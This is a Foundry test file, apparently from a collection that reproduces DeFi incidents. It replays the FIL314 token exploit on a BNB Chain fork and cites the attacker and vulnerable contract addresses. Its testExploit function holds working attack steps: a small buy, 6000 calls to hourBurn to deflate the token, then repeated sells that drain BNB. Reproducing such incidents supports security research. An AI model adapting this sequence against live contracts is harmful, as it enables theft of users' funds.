src/test/2024-04/FIL314_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~14 BNB
8// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
9// Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0
10// Created Attack Contract: https://bscscan.com/address/0x5C01B97299b32BaF75B4940fDaE158656C231847
11// Vulnerable Contract : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af
12// Attack Tx : https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code
16 
17interface IFIL314 {
18    function getAmountOut(uint256 value, bool buy) external returns (uint256);
19    function hourBurn() external;
20    function transfer(address to, uint256 value) external returns (bool);
21    function balanceOf(
22        address account
23    ) external view returns (uint256);
24}
25 
26contract FIL314 is Test {
27    uint256 blocknumToForkFrom = 37_795_991;
28    IFIL314 FIL314 = IFIL314(0xE8A290c6Fc6Fa6C0b79C9cfaE1878d195aeb59aF);
29 
30    function setUp() public {
31        vm.createSelectFork("bsc", blocknumToForkFrom);
32    }
33 
34    function testExploit() public {
35        // Implement exploit code here
36        emit log_named_decimal_uint(" Attacker BNB Balance Before exploit", address(this).balance, 18);
37        // buy FIL314 token
38        address(FIL314).call{value: 0.05 ether}("");
39        // deflate the token
40        for (uint256 i = 0; i < 6000; i++) {
41            FIL314.hourBurn();
42        }
43        for (uint256 i = 0; i < 10; i++) {
44            uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);
45            // sell the token
46            FIL314.transfer(address(FIL314), amount);
47        }
48 
49        // Log balances after exploit
50        emit log_named_decimal_uint(" Attacker BNB Balance After exploit", address(this).balance, 18);
51    }
52 
53    fallback() external payable {}
54}